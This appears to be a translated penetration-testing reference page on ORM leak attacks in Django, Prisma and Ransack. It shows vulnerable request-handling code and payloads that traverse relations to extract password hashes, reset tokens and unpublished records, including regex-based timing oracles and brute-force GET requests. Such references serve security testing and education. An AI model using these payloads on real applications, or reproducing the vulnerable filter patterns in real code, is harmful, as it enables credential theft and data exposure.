Django ORM (Python)
在 这篇文章 中解释了如何通过使用例如以下代码使 Django ORM 变得脆弱:
Copy class ArticleView ( APIView ):
"""
一些基本的 API 视图,用户向其发送请求以
搜索文章
"""
def post ( self , request : Request , format = None ):
try :
articles = Article . objects . filter ( ** request.data)
serializer = ArticleSerializer (articles, many = True )
except Exception as e :
return Response ([])
return Response (serializer.data)
注意所有的 request.data(这将是一个 json)是直接传递给 从数据库中过滤对象 。攻击者可以发送意外的过滤器,以便泄露比预期更多的数据。
示例:
Copy {
"username" : "admin" ,
"password_startswith" : "a"
}
关系过滤 :可以遍历关系以泄露来自未预期在操作中使用的列的信息。例如,如果可以泄露由用户创建的文章,具有以下关系:Article(created_by
) -[1..1]-> Author (user
) -[1..1]-> User(password
)。
Copy {
"created_by__user__password__contains" : "pass"
}
多对多关系过滤 :在前面的例子中,我们无法找到没有创建文章的用户的密码。然而,遵循其他关系这是可能的。例如:Article(created_by
) -[1..1]-> Author(departments
) -[0..*]-> Department(employees
) -[0..*]-> Author(user
) -[1..1]-> User(password
).
Copy {
"created_by__departments__employees__user_startswith" : "admi"
}
在这种情况下,我们可以找到所有在创建文章的用户部门中的用户,然后泄露他们的密码(在之前的json中我们只是泄露了用户名,但随后可以泄露密码)。
滥用Django组和权限的多对多关系与用户 :此外,AbstractUser模型用于在Django中生成用户,默认情况下该模型与权限和组表具有一些多对多关系 。这基本上是从一个用户访问其他用户 的默认方式,如果他们在同一组或共享相同权限 。
Copy # By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
绕过过滤限制 :同一篇博客文章建议绕过某些过滤的使用,例如 articles = Article.objects.filter(is_secret=False, **request.data)
。可以转储 is_secret=True 的文章,因为我们可以从关系回溯到 Article 表,并从非秘密文章中泄露秘密文章,因为结果是连接的,并且在非秘密文章中检查 is_secret 字段,而数据是从秘密文章中泄露的。
Copy Article.objects.filter(is_secret =False, categories__articles__id= 2 )
基于错误/时间的 ReDoS :在之前的例子中,期望在过滤工作与否时有不同的响应,以此作为 oracle。但也可能在数据库中执行某些操作时,响应始终相同。在这种情况下,可以使数据库出错以获取新的 oracle。
Copy // Non matching password
{
"created_by__user__password__regex" : "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{ "created_by__user__password__regex" : "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$" }
从同一篇关于此向量的帖子中:
SQLite :默认情况下没有正则表达式操作符(需要加载第三方扩展)
PostgreSQL :没有默认的正则表达式超时,并且不太容易回溯
Prisma ORM (NodeJS)
以下是从此帖子提取的技巧 。
Copy const app = express ();
app .use ( express .json ());
app .post ( '/articles/verybad' , async (req , res) => {
try {
// 攻击者对所有 prisma 选项拥有完全控制权
const posts = await prisma . article .findMany ( req . body .filter)
res .json (posts);
} catch (error) {
res .json ([]);
}
});
可以看到整个 JavaScript 主体被传递给 prisma 以执行查询。
在原始帖子的示例中,这将检查所有由某人创建的帖子(每个帖子都是由某人创建的),同时返回该某人的用户信息(用户名、密码...)
Copy {
"filter" : {
"include" : {
"createdBy" : true
}
}
}
// Response
[
{
"id" : 1 ,
"title" : "Buy Our Essential Oils" ,
"body" : "They are very healthy to drink" ,
"published" : true ,
"createdById" : 1 ,
"createdBy" : {
"email" : "karen@example.com" ,
"id" : 1 ,
"isAdmin" : false ,
"name" : "karen" ,
"password" : "super secret passphrase" ,
"resetToken" : "2eed5e80da4b7491"
}
} ,
...
]
以下内容选择所有由某个拥有密码的人创建的帖子,并将返回该密码:
Copy {
"filter" : {
"select" : {
"createdBy" : {
"select" : {
"password" : true
}
}
}
}
}
// Response
[
{
"createdBy" : {
"password" : "super secret passphrase"
}
} ,
...
]
让我们看看攻击可以控制 where
子句的情况:
Copy app .get ( '/articles' , async (req , res) => {
try {
const posts = await prisma . article .findMany ({
where : req . query .filter as any // 易受 ORM 泄漏影响
})
res .json (posts);
} catch (error) {
res .json ([]);
}
});
可以直接过滤用户的密码,例如:
Copy await prisma . article .findMany ({
where : {
createdBy : {
password : {
startsWith : "pas"
}
}
}
})
使用像 startsWith
这样的操作可以泄露信息。
Copy app .post ( '/articles' , async (req , res) => {
try {
const query = req . body .query;
query .published = true ;
const posts = await prisma . article .findMany ({ where : query })
res .json (posts);
} catch (error) {
res .json ([]);
}
});
可以通过回溯 Category
-[*..*]-> Article
之间的多对多关系来泄露未发布的文章:
Copy {
"query" : {
"categories" : {
"some" : {
"articles" : {
"some" : {
"published" : false ,
"{articleFieldToLeak}" : {
"startsWith" : "{testStartsWith}"
}
}
}
}
}
}
}
也可以通过滥用某些循环回路的多对多关系来泄露所有用户:
Copy {
"query" : {
"createdBy" : {
"departments" : {
"some" : {
"employees" : {
"some" : {
"departments" : {
"some" : {
"employees" : {
"some" : {
"departments" : {
"some" : {
"employees" : {
"some" : {
"{fieldToLeak}" : {
"startsWith" : "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
错误/定时查询 :在原始帖子中,您可以阅读一系列非常广泛的测试,以找到使用基于时间的有效载荷泄露信息的最佳有效载荷。这是:
Copy {
"OR" : [
{
"NOT" : {ORM_LEAK}
} ,
{CONTAINS_LIST}
]
}
在 {CONTAINS_LIST}
中是一个包含 1000 个字符串的列表,以确保在找到正确的 leak 时 响应延迟。
Ransack (Ruby)
这些技巧在 这篇文章中发现 。
请注意,Ransack 4.0.0.0 现在强制使用显式允许列表来进行可搜索属性和关联。
脆弱示例:
Copy def index
@q = Post . ransack(params[:q])
@posts = @q . result(distinct: true )
end
注意查询将由攻击者发送的参数定义。例如,可以通过以下方式暴力破解重置令牌:
Copy GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
通过暴力破解和潜在的关系,可以从数据库中泄露更多数据。
参考文献